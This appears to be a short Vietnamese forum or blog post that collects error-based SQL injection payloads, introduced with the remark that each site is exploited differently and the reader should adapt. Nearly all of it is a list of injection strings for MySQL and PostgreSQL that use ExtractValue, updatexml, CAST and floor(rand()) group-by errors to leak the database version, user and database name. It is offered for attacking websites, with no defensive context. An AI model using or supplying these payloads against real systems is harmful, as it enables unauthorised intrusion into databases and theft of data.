Tổng hợp 1 số câu lệnh khai thác SQLI error base

Mỗi site sẽ có cách khai thác khác nhau.Tuỳ cơ ứng biến nhé

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+and 1=CAST(current_user||CHR(58)||current_database()|| CHR(58)||version()||CHR(58)||123 as int)
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' and '1'=(select 1 AND ExtractValue(1,concat(0x5C,(user())))) and '1'='1
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and updatexml(0,concat(0x3a,version()),0)-- -
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 null and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))--
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 (@:=1)||@ group by concat(version(),0x7c,database(),0x7c,user(),!@) having@||min(@:=0)
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 /*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/--
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 +or+1+group+by+concat(0x7c,version(),floor(rand(0) *2))+having+min(0)+or+1--+

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